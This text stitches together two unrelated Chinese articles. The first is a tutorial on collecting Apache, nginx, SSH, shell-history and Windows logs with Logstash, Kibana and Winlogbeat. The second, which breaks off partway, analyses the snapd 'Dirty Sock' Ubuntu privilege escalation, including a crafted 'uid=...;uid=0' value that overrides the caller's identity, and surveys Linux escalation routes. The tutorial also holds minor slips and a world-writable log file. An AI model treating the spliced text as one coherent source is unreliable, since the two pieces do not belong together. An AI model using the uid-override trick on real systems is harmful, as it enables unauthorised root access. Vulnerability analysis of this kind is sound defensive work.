`Logstash`是一个实时的管道式开源日志收集引擎。`Logstash`可以动态的将不同来源的数据进行归一并且将格式化的数据存储到你选择的位置。对你的所有做数据清洗和大众化处理，以便做数据分析和可视化。`Logstash`通过输入、过滤和输出插件`Logstash`可以对任何类型的事件丰富和转换，通过本地编码器还可以进一步简化此过程。
`logstash`下载地址：<https://www.elastic.co/cn/downloads/logstash>
`logstash`的基本目录结构如下及其含义：
Type | Description | Default Location | Setting
---|---|---|---
home | logstash安装的目录 | `{extract.path}` |
bin | logstash的二进制脚本以及插件 | `{extract.path}/bin` |
settings | 配置文件, 包含`logstash.yml`和`jvm.options` | `{extract.path}/config` |
`path.settings`
logs | 日志文件 | `{extract.path}/logs` | `path.logs`
plugins | 插件存放的目录，每个插件都包含在一个子目录中 | `{extract.path}/plugins` | `path.plugins`
data | logstash及其插件为任何持久性需求所使用的数据文件 | `{extract.path}/data` | `path.data`
一个`Logstash`管道有两个必须的组件，`input`和`output`，除此之外还有一个可选的组件`filter`。`input`插件将数据从源读入，`filter`插件按照你的定义处理数据，最后通过`output`插件写入到目的地。
`Logstash`支持的`input`插件：<https://www.elastic.co/guide/en/logstash/current/input-plugins.html>
`Logstash`支持的`output`插件：[https://www.elastic.co/guide/en/logstash/current/input-plugins.html](https://www.elastic.co/guide/en/logstash/current/output-plugins.html)
注：有的插件默认是没有安装的，可以使用`logstash-plugin list`列出所有已经安装的插件
### 配置
#### input插件
> 可以指定logstash的事件源
下面列举几种常见的事件源
* `stdin`：标准输入
input {
stdin { }
}
* `file`：从文件中读取
file {
path => "/var/log/secure"
type => "logstash_log" # 定义类型，一般用于过滤器中
start_position => "beginning" # 表示从文件开头读取，默认为end
}
* `syslog`：从syslog传输过来的事件中读取
syslog{
port =>"514" # 监听的端口，syslog配置文件中配置：*.* @ip:514 即可
type => "syslog"
}
* `beats`：从`Elastic beats`接收事件
beats {
port => 5044 # 监听的端口
}
然后在beat进行如下配置即可
output.logstash:
hosts: ["localhost:5044"]
* `Redis`：从redis中获取事件
redis {
host => "127.0.0.1"
port => "6379"
password => "passwd"
db => "1"
data_type => "list"
key => "redis_key"
batch_count => 1
}
#### output插件
> 指定logstash事件的接收源
下面列举几种常见的接受源
* `stdout`：标准输出
output{
stdout{
codec => "rubydebug"
}
}
* `file`：将事件保存到文件中
file {
path => "/var/log/logstash/%{host}/{application}
codec => line { format => "%{message}"} }
}
* `kafka`：将事件发送到kafka
kafka{
bootstrap_servers => "localhost:9092"
topic_id => "logstash_log"
}
* `elasticseach`：将事件发送到es中
elasticsearch {
hosts => "localhost:9200"
index => "logstash-%{+YYYY.MM.dd}"
}
* `redis`：将事件发送到redis
redis {
data_type => "list"
host => "127.0.0.1"
port => "6379"
db => "1"
password => "passwd"
key => "redis_key"
}
#### filter过滤器插件
> 对事件进行中间处理，`filter`过滤器这里只列举gork
`gork`可以将非结构化日志数据解析为结构化和可查询的数据，`gork`的基本语法为：`%{SYNTAX:SEMANTIC}`
* `SYNTAX`：`SYNTAX`是与文本匹配的模式的名称，如`123`可以匹配的是`NUMBER`，`127.0.0.1`可以匹配的是`IP`
**注：`NUMBER`和`IP`都是`gork`默认内置的字段，不需要我们额外编写正则表达式，`gork`默认内置120个预定义匹配字段：<https://github.com/logstash-plugins/logstash-patterns-core/tree/master/patterns>**
* `SYNTAX`：`SYNTAX`是要匹配的文本片段的标识符
简单的例子
127.0.0.1 GET /index.php 87344 0.061
gork表达式
%{IP:client} %{WORD:method} %{URIPATHPARAM:path} %{NUMBER:bytes} %{NUMBER:duration}
写入配置文件为：
input {
file {
path => "/path/to/file"
}
}
filter {
grok {
match => { "message" => "%{IP:client} %{WORD:method} %{URIPATHPARAM:path} %{NUMBER:bytes} %{NUMBER:duration}" }
}
}
output{
stdout{ }
}
最终匹配如下：
* `client`: 127.0.0.1
* `method`: GET
* `path`: /index.php
* `bytes`: 87344
* `duration`: 0.061
我们可以使用[Grok表达式在线调试](https://grokdebug.herokuapp.com/)进行调试表达式，这样我们就不用每次都去重启`logstash`测试表达式了
### 测试
简单的实例：
使用-e选项允许你在命令行快速配置而不必修改配置文件，这个示例将从标准输入来读取你的输入，并将输出以结构化的方式输出至标准输出。
bin/logstash -e 'input { stdin { } } output { stdout {} }'
现在我们吧output源设为es，同时配置好我们的es的http地址，将标准输入的收集到es上
bin/logstash -e 'input { stdin { } } output { elasticsearch { hosts => ["127.0.0.1:9200"] } stdout { codec => rubydebug }}'
然后就可以在es看到我们输入的数据了
现在将输入源改为file，路径为：`/var/log/secure`
input {
file {
path => "/var/log/secure"
type => "auth"
start_position => "beginning"
}
}
output {
elasticsearch {
hosts => ["127.0.0.1:9200"]
index => "system-%{+YYYY.MM.dd}"
}
}
然后可以看到我们的日志已经收集到es上了
## Kibana
Kibana 是一款开源的数据分析和可视化平台，它是`Elastic Stack` 成员之一，设计用于和 Elasticsearch 协作。您可以使用
Kibana 对 Elasticsearch
索引中的数据进行搜索、查看、交互操作。您可以很方便的利用图表、表格及地图对数据进行多元化的分析和呈现。Kibana
可以使大数据通俗易懂。它很简单，基于浏览器的界面便于您快速创建和分享动态数据仪表板来追踪 Elasticsearch 的实时数据变化。
`kibana`下载地址：<https://www.elastic.co/cn/downloads/kibana>
### 配置
常见配置项，参考自[官网手册](https://www.elastic.co/guide/cn/kibana/current/settings.html)
* `server.port`：配置Kibana的端口，默认为5601
* `server.host`：指定后端服务器的主机地址
* `server.name`：配置`Kibana`对外展示的名称
* `server.MaxPayloadBytes`：服务器请求的最大负载，单位字节
* `elasticsearch.url`：`Elasticsearch`实例的url，默认值为：`http://localhost:9200`
* `elasticsearch.username`和 `elasticsearch.password`：若es配置了权限认证，该配置项提供了用户名和密码。
* `server.ssl.enabled`：是否启用SSL，默认为false，如果为true，则需要配置`server.ssl.certificate`和 `server.ssl.key`
* `server.ssl.certificate` 和 `server.ssl.key`：SSL 证书和 SSL 密钥文件的路径。
* `server.ssl.keyPassphrase`：解密私钥的口令，该设置项可选，因为密钥可能没有加密。
* `server.ssl.certificateAuthorities`：可信任 PEM 编码的证书文件路径列表。
* `kibana.index`：`Kibana`在es建立的索引名称，默认为`.Kibana`
* `logging.dest`：Kibana日志输出的文件，默认为：`stdout`
* `logging.silent`：是否设置为静默模式，如果为true，则禁止所有日志输出，默认为false
* `logging.quiet`：默认值: false 该值设为 true 时，禁止除错误信息除外的所有日志输出。
* `logging.verbose`：默认值: false 该值设为 true 时，记下所有事件包括系统使用信息和所有请求的日志。
### 测试
简单配置一下`kibana`
`vim config/kibana.yml`
server.port: 5601
server.host: "0.0.0.0"
elasticsearch.hosts: ["http://127.0.0.1:9200"]
kibana.index: ".kibana"
启动
bin/kibana
检查服务是否正常启动
[qiyou@hack2fun config]$ netstat -unlt|grep 5601
tcp 0 0 0.0.0.0:5601 0.0.0.0:* LISTEN
然后就可以通过`http://IP:5601`访问到`kibana`了
然后配置一下索引，就可以看到我们刚刚收集到es上的日志了
然后我们可以通过Kibana筛选功能筛选出你想要内容，如：筛选出ssh登陆失败的日志
## ELK实战
基本了解了ELK之后，我们可以使用ELK来进行收集我们的日志，这里以`apache`、`nginx`、`ssh`以及`history`为例
### 收集apache日志文件
修改`apache`配置文件如下：
LogFormat "{ \
\"@timestamp\": \"%{%Y-%m-%dT%H:%M:%S%z}t\", \
\"@version\": \"1\", \
\"tags\":[\"apache\"], \
\"message\": \"%h %l %u %t \\\"%r\\\" %>s %b\", \
\"clientip\": \"%a\", \
\"duration\": %D, \
\"status\": %>s, \
\"request\": \"%U%q\", \
\"urlpath\": \"%U\", \
\"urlquery\": \"%q\", \
\"bytes\": %B, \
\"method\": \"%m\", \
\"site\": \"%{Host}i\", \
\"referer\": \"%{Referer}i\", \
\"useragent\": \"%{User-agent}i\" \
}" json
CustomLog "logs/access_log" json
此时查看apache的日志：
[root@hack2fun httpd]# cat access_log
{ "@timestamp": "2020-12-19T00:06:37-0800", "@version": "1", "tags":["apache"], "message": "::1 - - [19/Dec/2020:00:06:37 -0800] \"GET / HTTP/1.1\" 403 4897", "clientip": "::1", "duration": 111368, "status": 403, "request": "/", "urlpath": "/", "urlquery": "", "bytes": 4897, "method": "GET", "site": "localhost", "referer": "-", "useragent": "curl/7.29.0" }
{ "@timestamp": "2020-12-19T00:09:04-0800", "@version": "1", "tags":["apache"], "message": "::1 - - [19/Dec/2020:00:09:04 -0800] \"GET / HTTP/1.1\" 403 4897", "clientip": "::1", "duration": 862, "status": 403, "request": "/", "urlpath": "/", "urlquery": "", "bytes": 4897, "method": "GET", "site": "localhost", "referer": "-", "useragent": "curl/7.29.0" }
用`logstash`测试
如果想保留apache默认的日志格式，我们也可以不用修改，可以直接使用官方提供的gork规则来进行匹配即可
HTTPDUSER %{EMAILADDRESS}|%{USER}
HTTPDERROR_DATE %{DAY} %{MONTH} %{MONTHDAY} %{TIME} %{YEAR}
# Log formats
HTTPD_COMMONLOG %{IPORHOST:clientip} %{HTTPDUSER:ident} %{HTTPDUSER:auth} \[%{HTTPDATE:timestamp}\] "(?:%{WORD:verb} %{NOTSPACE:request}(?: HTTP/%{NUMBER:httpversion})?|%{DATA:rawrequest})" (?:-|%{NUMBER:response}) (?:-|%{NUMBER:bytes})
HTTPD_COMBINEDLOG %{HTTPD_COMMONLOG} %{QS:referrer} %{QS:agent}
# Error logs
HTTPD20_ERRORLOG \[%{HTTPDERROR_DATE:timestamp}\] \[%{LOGLEVEL:loglevel}\] (?:\[client %{IPORHOST:clientip}\] ){0,1}%{GREEDYDATA:message}
HTTPD24_ERRORLOG \[%{HTTPDERROR_DATE:timestamp}\] \[%{WORD:module}:%{LOGLEVEL:loglevel}\] \[pid %{POSINT:pid}(:tid %{NUMBER:tid})?\]( \(%{POSINT:proxy_errorcode}\)%{DATA:proxy_message}:)?( \[client %{IPORHOST:clientip}:%{POSINT:clientport}\])?( %{DATA:errorcode}:)? %{GREEDYDATA:message}
HTTPD_ERRORLOG %{HTTPD20_ERRORLOG}|%{HTTPD24_ERRORLOG}
# Deprecated
COMMONAPACHELOG %{HTTPD_COMMONLOG}
COMBINEDAPACHELOG %{HTTPD_COMBINEDLOG}
### 收集nginx日志文件
修改`nginx`配置文件如下：
http块配置
log_format json '{"@timestamp":"$time_iso8601",'
'"@version":"1",'
'"client":"$remote_addr",'
'"url":"$uri",'
'"status":"$status",'
'"domain":"$host",'
'"host":"$server_addr",'
'"size":$body_bytes_sent,'
'"responsetime":$request_time,'
'"referer": "$http_referer",'
'"ua": "$http_user_agent"'
'}';
server块配置：
access_log /var/log/nginx/access_json.log json;
此时查看nginx的日志：
[root@hack2fun qiyou]# cat /var/log/nginx/access.log
{"@timestamp":"2020-12-18T23:29:18-08:00","@version":"1","client":"127.0.0.1","url":"/index.html","status":"200","domain":"localhost","host":"127.0.0.1","size":612,"responsetime":0.000,"referer": "-","ua": "curl/7.29.0"}
{"@timestamp":"2020-12-18T23:40:41-08:00","@version":"1","client":"127.0.0.1","url":"/index.html","status":"200","domain":"localhost","host":"127.0.0.1","size":612,"responsetime":0.000,"referer": "-","ua": "curl/7.29.0"}
用`logstash`测试一下
input {
file {
path => "/var/log/nginx/access.log"
codec => "json"
}
}
output {
stdout {
codec => "rubydebug"
}
}
效果如下：
### 收集所有用户的历史命令
`vim /etc/bashrc`
HISTDIR='/var/log/command.log'
if [ ! -f $HISTDIR ];then
touch $HISTDIR
chmod 666 $HISTDIR
fi
export HISTTIMEFORMAT="{\"TIME\":\"%F %T\",\"HOSTNAME\":\"$HOSTNAME\",\"LOGIN_IP\":\"$(who -u am i 2>/dev/null| awk '{print $NF}'|sed -e 's/[()]//g')\",\"LOGIN_USER\":\"$(who am i|awk '{print $1}')\",\"CURRENT_USER\":\"${USER}\",\"CMD\":\""
export PROMPT_COMMAND='history 1|tail -1|sed "s/^[ ]\+[0-9]\+ //"|sed "s/$/\"}/">> /var/log/command.log'
用`logstash`测试
### 收集ssh的登陆信息
Linux认证的日志默认保存在：`/var/log/secure`（`debian/Ubuntu`保存在`/var/log/auth.log`）
authpriv.* /var/log/secure
我们可以将ssh的日志分离出来，修改ssh配置文件，日志收集类型改为用户自定义的：
SyslogFacility local6
修改rsyslog配置文件，自定义ssh日志文件路径，然后重启`rsyslog`和`ssh`即可
local6.* /var/log/sshd.log
因为`ssh`没有像`apache`、`nginx`那样可以自定义日志输出格式，所以我们得自己写一个`filter`，我这里就直接套用了[这里](https://gist.github.com/tsaarni/bb54e158fd453cb6d7cb)的filter了
"message", "%{SYSLOGTIMESTAMP:date} %{SYSLOGHOST:host} %{DATA:program}(?:\[%{POSINT}\])?: %{WORD:login} password for %{USERNAME:username} from %{IP:ip} %{GREEDYDATA}",
"message", "%{SYSLOGTIMESTAMP:date} %{SYSLOGHOST:host} %{DATA:program}(?:\[%{POSINT}\])?: message repeated 2 times: \[ %{WORD:login} password for %{USERNAME:username} from %{IP:ip} %{GREEDYDATA}",
"message", "%{SYSLOGTIMESTAMP:date} %{SYSLOGHOST:host} %{DATA:program}(?:\[%{POSINT}\])?: %{WORD:login} password for invalid user %{USERNAME:username} from %{IP:ip} %{GREEDYDATA}",
"message", "%{SYSLOGTIMESTAMP:date} %{SYSLOGHOST:host} %{DATA:program}(?:\[%{POSINT}\])?: %{WORD:login} %{WORD:auth_method} for %{USERNAME:username} from %{IP:ip} %{GREEDYDATA}"
logstash配置文件如下：
input {
file {
path => "/var/log/sshd.log"
}
}
filter {
grok {
match => [
"message", "%{SYSLOGTIMESTAMP:date} %{SYSLOGHOST:host} %{DATA:program}(?:\[%{POSINT}\])?: %{WORD:login} password for %{USERNAME:username} from %{IP:ip} %{GREEDYDATA}",
"message", "%{SYSLOGTIMESTAMP:date} %{SYSLOGHOST:host} %{DATA:program}(?:\[%{POSINT}\])?: message repeated 2 times: \[ %{WORD:login} password for %{USERNAME:username} from %{IP:ip} %{GREEDYDATA}",
"message", "%{SYSLOGTIMESTAMP:date} %{SYSLOGHOST:host} %{DATA:program}(?:\[%{POSINT}\])?: %{WORD:login} password for invalid user %{USERNAME:username} from %{IP:ip} %{GREEDYDATA}",
"message", "%{SYSLOGTIMESTAMP:date} %{SYSLOGHOST:host} %{DATA:program}(?:\[%{POSINT}\])?: %{WORD:login} %{WORD:auth_method} for %{USERNAME:username} from %{IP:ip} %{GREEDYDATA}"
]
}
}
output {
stdout {
codec => "rubydebug"
}
}
此时尝试登陆，可以看到登陆失败和登陆成功的都被记录下来了
### 整合
最后将上面的配置整合一下，形成最终配置文件如下：
注：如果想收集之前的日志的话，可以在所有input块加上`start_position => "beginning"`即可
input {
file {
path => "/var/log/nginx/access.log"
type => "nginx"
codec => "json"
}
file {
path => "/var/log/httpd/access_log"
type => "apache"
codec => "json"
}
file {
path => "/var/log/command.log"
type => "history"
codec => "json"
}
file {
path => "/var/log/sshd.log"
type => "ssh"
}
}
filter {
grok {
match => [
"message", "%{SYSLOGTIMESTAMP:syslog_date} %{SYSLOGHOST:syslog_host} %{DATA:syslog_program}(?:\[%{POSINT}\])?: %{WORD:login} password for %{USERNAME:username} from %{IP:ip} %{GREEDYDATA}",
"message", "%{SYSLOGTIMESTAMP:syslog_date} %{SYSLOGHOST:syslog_host} %{DATA:syslog_program}(?:\[%{POSINT}\])?: message repeated 2 times: \[ %{WORD:login} password for %{USERNAME:username} from %{IP:ip} %{GREEDYDATA}",
"message", "%{SYSLOGTIMESTAMP:syslog_date} %{SYSLOGHOST:syslog_host} %{DATA:syslog_program}(?:\[%{POSINT}\])?: %{WORD:login} password for invalid user %{USERNAME:username} from %{IP:ip} %{GREEDYDATA}",
"message", "%{SYSLOGTIMESTAMP:syslog_date} %{SYSLOGHOST:syslog_host} %{DATA:syslog_program}(?:\[%{POSINT}\])?: %{WORD:login} %{WORD:auth_method} for %{USERNAME:username} from %{IP:ip} %{GREEDYDATA}"
]
}
}
output {
if [type] == "nginx" {
elasticsearch {
hosts => ["127.0.0.1:9200"]
index => "nginx-%{+YYYY.MM.dd}"
}
}
if [type] == "apache" {
elasticsearch {
hosts => ["127.0.0.1:9200"]
index => "apache-%{+YYYY.MM.dd}"
}
}
if [type] == "history" {
elasticsearch {
hosts => ["127.0.0.1:9200"]
index => "history-%{+YYYY.MM.dd}"
}
}
if [type] == "ssh" {
elasticsearch {
hosts => ["127.0.0.1:9200"]
index => "ssh-%{+YYYY.MM.dd}"
}
}
}
然后我们可以`logstash -t -f logstash.conf`来验证配置文件是否配置正确
[2020-12-30T18:22:40,870][INFO ][logstash.runner ] Using config.test_and_exit mode. Config Validation Result: OK. Exiting Logstash
确认无误后启动`logstash`，然后我们到`es-head`上去查看索引是否创建成功，可以看到我们上面配置文件索引已经全部创建，接下来就去`Kibana`创建日志索引即可
这里拿`history`来举例，最终效果如下：
# 收集Windows日志
收集Windows日志我们可以使用`Winlogbeat`，`Winlogbeat`是属于`beats`家族成员之一，主要用于收集`Windows`上的日志。`Winlogbeat`使用`Windows
api`读取一个或多个事件日志，根据用户配置的条件筛选事件，然后将事件数据发送到配置的输出
`Winlogbeat`可以从系统上运行的任何事件日志中捕获事件数据。如：`Winlogbeat`可以捕获以下事件:
* 应用程序事件（application）
* 硬件事件
* 安全事件（security）
* 系统事件（system）
`Winlogbeat`下载：<https://www.elastic.co/cn/downloads/beats/winlogbeat>
简单的安装配置：
.\install-service-winlogbeat.ps1
.\winlogbeat.exe setup
## 配置
### Output
output可以指定一个输出点（只能定义一个输出点），下面列举一些常见的输出配置
Redis
output.redis:
hosts: ["localhost"]
password: "my_password"
key: "winlogbeat"
db: 0
timeout: 5
logstash
output.logstash:
hosts: ["127.0.0.1:5044"]
ES
output.elasticsearch:
hosts: ["https://myEShost:9200"]
kafka
output.kafka:
# initial brokers for reading cluster metadata
hosts: ["kafka1:9092", "kafka2:9092", "kafka3:9092"]
# message topic selection + partitioning
topic: '%{[fields.log_topic]}'
partition.round_robin:
reachable_only: false
required_acks: 1
compression: gzip
max_message_bytes: 1000000
### Kibana
Kibana配置项：
* `setup.kibana.host`：`Kibana`地址
* `setup.kibana.protocol`：`http`或`https`，默认值为`http`，但是如果`setup.kibana.host`中指定的URL，则该值会被URL中的指定的协议覆盖掉
* `setup.kibana.username`：kibana用户名
* `setup.kibana.password`：kibana密码
* `setup.kibana.ssl.enabled`：启用SSL，如果配置的协议为HTTPS，则该值默认为`true`并且`Winlogbeat`会使用默认的SSL设置。
例子：
setup.kibana.host: "https://192.0.2.255:5601"
setup.kibana.ssl.enabled: true
setup.kibana.ssl.certificate_authorities: ["/etc/pki/root/ca.pem"]
setup.kibana.ssl.certificate: "/etc/pki/client/cert.pem"
setup.kibana.ssl.key: "/etc/pki/client/cert.key
### Winlogbeat配置文件项
* `event_logs`：指定要监视哪些事件日志，列表中的每个条目都定义了要监视的事件日志以及与事件日志关联的任何信息
* `event_logs.name`为`event_logs`必选项，指定要收集事件名，可以为日志名（可以使用`Get-WinEvent -ListLog *`获取Windows下所有的日志名），也可以为日志文件（需要注意的是路径必须为绝对路径，不能为相对路径）
winlogbeat.event_logs:
- name: Application
#- name: 'C:\winlogbeat\xxx.evtx'
* `event_logs.ignore_order`：如果指定了此选项，则Winlogbeat会过滤早于指定时间的事件，有效时间单位是"ns", "us" (or "µs"), "ms", "s", "m", "h"
winlogbeat.event_logs:
- name: Application
ignore_older: 168h
* `event_logs.event_id`：配置事件id的白名单和黑名单，事件id以逗号分隔，可以是单个id（如4624），可以是一个范围（4600-5000），如果排除某个事件id的话可以在id前面加个负号（如：-4625）
winlogbeat.event_logs:
- name: Security
event_id: 4624, 4625, 4700-4800, -4735
* `event_logs.index`：Winlogbeat的索引，如果es存在该日志的索引则会覆盖原来的索引。格式示例：`"%{[agent.name]}-myindex-%{+yyyy.MM.dd}"` -> `winlogbeat-myindex-2019.12.13`
* `event_logs.level`：事件级别，多个值用逗号隔开
Level | Value
---|---
critical, crit | 1
error, err | 2
warning, warn | 3
information, info | 0或4
verbose | 5
* 其余配置项见官网
## 测试
修改配置文件`winlogbeat.yml`，`Kibana`和`elasticsearch`配成我们上面搭建好节点
winlogbeat.event_logs:
- name: Application
provider:
- Application Error
- Application Hang
- Windows Error Reporting
- EMET
- name: Security
level: critical, error, warning
event_id: 4624, 4625, 4634, 4672, 4720
- name: System
ignore_older: 168h
setup.kibana:
host: "http://100.2.170.124:5601"
output.elasticsearch:
hosts: ["100.2.170.124:9200"]
然后启动服务
net start winlogbeat
服务启动之后，到`es-head`上可以看到已经创建了索引，说明已经配置成功。
然后我们可以通过`Kibana`对日志进行一系列分析了，如：筛选出登陆失败的用户名以及IP
**注：`Winlogbeat`提供的字段是相当丰富的，这里就不进行列举了，具体请查阅[官网手册](https://www.elastic.co/guide/en/beats/winlogbeat/current/exported-fields.html)**
winlog.event_id: 4625
# Reference
<https://www.zhihu.com/question/338932215/answer/777380560>
<https://www.kancloud.cn/aiyinsi-tan/logstash/849546>
<https://blog.51cto.com/caochun/1715462>
<https://www.cnblogs.com/cheyunhua/p/11238489.html>
<https://www.cnblogs.com/kevingrace/p/5919021.html>
<https://www.elastic.co/guide/en/beats/winlogbeat/current/configuration-winlogbeat-options.html#_event_logs_ignore_older>
<https://zhuanlan.zhihu.com/p/41850863> | 社区文章 |
# Snapd Ubuntu 提权分析
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
作者：merjerson@360CERT
## 0x00 背景
做过脚本的同学都知道提权的苦楚。
平时在做定向渗透，溯源反制的时候，经常遇到进得去，系统却拿不下来的情况。
14号看到 Snap < 2.37.1 提权漏洞，测了下，异常好用。在 ubuntu
18.04之后版本默认安装，只需要有文件写入权限和python环境，即可完美提权。几个vps一打一个准。
想了想，最末分析过的 linux 平台漏洞还是 “脏牛”。近半年多一直在搞其他方面，许久没做漏洞分析了，正好有个提权漏洞换换脑子。
## 0x01 linux提权姿势梳理
首先梳理一下 linux 提权的种类。我所知道的所有提权思路有这么几种：
* 内核漏洞利用
* 服务、程序漏洞利用
* 权限配置不当
### 内核漏洞利用
内核漏洞利用是最常见的提权方式，渗透提权的时候首先想到的就是查看系统版本、内核版本。根据环境找提权 exp。
内核漏洞利用的常规利用方式，有这么几步：
* 通过漏洞将 payload 打入到内核模式下
* 操纵内存数据，比如将用户空间映射到内核空间
* 启动新权限的shell，获得root权限
这种提权方法，需要找到对应内核版本的漏洞利用工具，并且具有运行利用工具的能力。
即使能够运行工具，也不一定完全提权成功。许多公开的漏洞利用工具都不稳定。运行提权工具有可能造成目标主机宕机重启。
### 服务、程序漏洞利用
权限具有继承性，高权限运行的服务、程序，他的执行能力也是高权限。一些web服务，数据库应用，系统服务组件往往都在高权限下运行。
例如，运维人员通常使用root权限运行mysql。这时可以尝试使用mysql提权漏洞，将低权限的mysql用户提权至mysql root 权限。
mysql 本身具有 shell 执行环境。系统root身份运行的mysql，其 mysql root 权限接近系统 root。
### 权限配置不当
这种要具体情况具体分析，常见的比如：
* 弱口令
* suid配置错误
* sudo权限滥用
* 路径配置不当
* 配置不当的Cron jobs 等
这部分，可以参照这篇 [blog](https://sushant747.gitbooks.io/total-oscp-guide/privilege_escalation_-_linux.html)。
本次分析的snap提权漏洞，属于root权限运行的服务漏洞。
snapd 在使用api的时候，身份鉴权存在问题，允许地权限用户调用高权限api，从而造成提权。
一篇完整的漏洞分析必须要包括:
* 漏洞背景
* 漏洞成因分析
* 漏洞上下文分析
* 利用方式分析
* 补丁分析
* 漏洞验证
* 安全建议
下面是正文
## 0x02 漏洞背景
snap是一个Linux系统上的包管理软件。在Ubuntu18.04后默认预安装到了系统中。
snapd 是负责管理本地安装服务与在线应用商店通信的程序，随着snap一起安装，并且在root权限下运行，这是提权的基本条件。
根据官方描述，服务进程snapd中提供的REST API服务对请求客户端身份鉴别存在问题，从而导致了提权。Chris Moberly
已经公开了[细节](https://shenaniganslabs.io/2019/02/13/Dirty-Sock.html)。
## 0x03 漏洞成因分析
[漏洞相关的更改](https://github.com/snapcore/snapd/commit/a819ae713446a1c7f75df15c3c5d0de4d4a49332#diff-99646ddbf38051ac9a98fe1a75423b86)：
漏洞位置在：
func ucrednetGet(remoteAddr string) (pid uint32, uid uint32, socket string, err error) {
pid = ucrednetNoProcess
uid = ucrednetNobody
for _, token := range strings.Split(remoteAddr, ";") {
var v uint64
if strings.HasPrefix(token, "pid=") {
if v, err = strconv.ParseUint(token[4:], 10, 32); err == nil {
pid = uint32(v)
} else {
break
}
} else if strings.HasPrefix(token, "uid=") {
if v, err = strconv.ParseUint(token[4:], 10, 32); err == nil {
uid = uint32(v)
} else {
break
}
}
if strings.HasPrefix(token, "socket=") {
socket = token[7:]
}
}
if pid == ucrednetNoProcess || uid == ucrednetNobody {
err = errNoID
}
return pid, uid, socket, err
}
该函数，对 remoteAddr进行分割，标志符为 “;” ，将分割后得到的数组，for 循环。通过 HasPrefix
判别内容，对pid、uid、socket进行赋值。
这里存在一个问题： for循环中，有可能会对变量重复赋值。Split分割后的数组，如果存在多个 uid= 开头的值，则 uid 的值将被后者覆盖。
例如，”uid=1000;pid=1100;uid=0″，通过 ;
进行分割，得到[‘uid=1000′,’pid=1100′,’uid=0’]，该数组在迭代的时候：
} else if strings.HasPrefix(token, "uid=") {
if v, err = strconv.ParseUint(token[4:], 10, 32); err == nil {
uid = uint32(v)
} else {
break
}
}
第一次执行到这里的时候，uid被赋值为1000，因为后面还有一个以uid为开头的值（uid=0），所以程序还会进入这个代码段，将uid
重置为0。这是，漏洞形成的基本逻辑。
如果是发漏洞预警，分析到这里已经可以了。但如果是做漏洞研究，还远远不够，还要进行漏洞上下文和利用技术分析。
## 0x04 漏洞上下文分析
除了找到漏洞成因，还要知道”漏洞从哪来，到哪去”。
### 从哪来：
漏洞逻辑函数：
func ucrednetGet(remoteAddr string) (pid int32, uid uint32, socket string, err error) {
pid = ucrednetNoProcess
uid = ucrednetNobody
for _, token := range strings.Split(remoteAddr, ";") {
var v uint64
......
漏洞处理函数，ucrednetGet() ，传入变量为 remoteAddr，该变量即是Split处理对象。则查找该函数调用关系。
可以看到有n多调用，在api.go 文件中，有丰富逻辑代码。随进入分析。
ucrednetGet() 被重命名为 postCreateUserUcrednetGet() 和 runSnapctlUcrednetGet(),
查看调用逻辑：
func getUsers(c *Command, r *http.Request, user *auth.UserState) Response {
_, uid, _, err := postCreateUserUcrednetGet(r.RemoteAddr)
if err != nil {
return BadRequest("cannot get ucrednet uid: %v", err)
}
if uid != 0 {
return BadRequest("cannot get users as non-root")
}
......
postCreateUserUcrednetGet() 传入的参数为 r.RemoteAddr 。r 为
http.Request对象。由此可得，漏洞逻辑代码，处理的对象来自，http.Request.RemoteAddr ，即：
传入漏洞逻辑函数 ucrednetGet() 的参数 remoteAddr 为 http.Request.RemoteAddr。
查了下，http.Request.RemoteAddr 为 go 内建结构，之后查看 go
[代码](https://github.com/golang/go)。
这里，分析了go中整个 SockaddrUnix 调用过程。这里只简单写下要点：
* coon.go:123 声明 RemoteAddr()，调用Conn.conn.RemoteAddr()
* coon.go:27 声明结构体 Conn，其中 conn 为 net.Conn
* net.go:221 声明net.conn.RemoteAddr(),返回c.fd.raddr,c 为 conn指针
* net.go:164 声明conn结构体，fd 为 netFD 指针
* fd_unix.go:19 声明 netFD 结构体。
* fd_unix.go:45 声明 setAddr 函数，对 netFD.raddr进行赋值， 此处即为漏洞传入参数 RemoteAddr，首次声明位置。 找到这里还不够，我们需要知道这个传入的值，究竟从哪来的。
* file_unix.go:66 调用 setAddr() :fd.setAddr(laddr, raddr),第二个参数，是我们需找的。
* file_unix.go:60 设置raddr：addr := fd.addrFunc()(rsa)
* sock_posi.go:92 声明 addrFunc(),可以看到根据套接字族设定进行不同的操作，返回sockaddrToXXX
func (fd *netFD) addrFunc() func(syscall.Sockaddr) Addr {
switch fd.family {
case syscall.AF_INET, syscall.AF_INET6:
switch fd.sotype {
case syscall.SOCK_STREAM:
return sockaddrToTCP
case syscall.SOCK_DGRAM:
return sockaddrToUDP
case syscall.SOCK_RAW:
return sockaddrToIP
}
case syscall.AF_UNIX:
switch fd.sotype {
case syscall.SOCK_STREAM:
return sockaddrToUnix
case syscall.SOCK_DGRAM:
return sockaddrToUnixgram
case syscall.SOCK_SEQPACKET:
return sockaddrToUnixpacket
}
}
return func(syscall.Sockaddr) Addr { return nil }
}
* 查阅[资料](http://man7.org/linux/man-pages/man7/unix.7.html)，原来 AF_UNIX 用于进程间通信，绑定的文件，可以通过 sockaddrToUnix 取得。下面是说明：
> …….
> Address format
> A UNIX domain socket address is represented in the following
> structure:
>
> struct sockaddr_un {
> sa_family_t sun_family; /* AF_UNIX */
> char sun_path[108]; /* pathname */
> };
>
> The sun_family field always contains AF_UNIX. On Linux sun_path is
> 108 bytes in size; see also NOTES, below.
>
> Various systems calls (for example, bind(2), connect(2), and
> sendto(2)) take a sockaddr_un argument as input. Some other system
> calls (for example, getsockname(2), getpeername(2), recvfrom(2), and
> accept(2)) return an argument of this type.
>
> Three types of address are distinguished in the sockaddr_un struc‐
> ture:
>
> * pathname: a UNIX domain socket can be bound to a null-terminated
> filesystem pathname using bind(2). When the address of a pathname
> socket is returned (by one of the system calls noted above), its
> length is
>
> offsetof(struct sockaddr_un, sun_path) + strlen(sun_path) + 1
>
> and sun_path contains the null-terminated pathname. (On Linux,
> the above offsetof() expression equates to the same value as
> sizeof(sa_family_t), but some other implementations include other
> fields before sun_path, so the offsetof() expression more portably
> describes the size of the address structure.)
>
> For further details of pathname sockets, see below.
> ……
* unixsock_posix.go:52 定义了 sockaddrToUnix(),可以看到，是通过 syscall.SockaddrUnix获得的绑定文件名。
分析到这里，RemoteAddr 怎么来的我们算整明白了：根据不同的套接字族，返回不同的地址。如果是通过 AF_UNIX 创建的套接字，将返回绑定的文件名。
### 到哪去
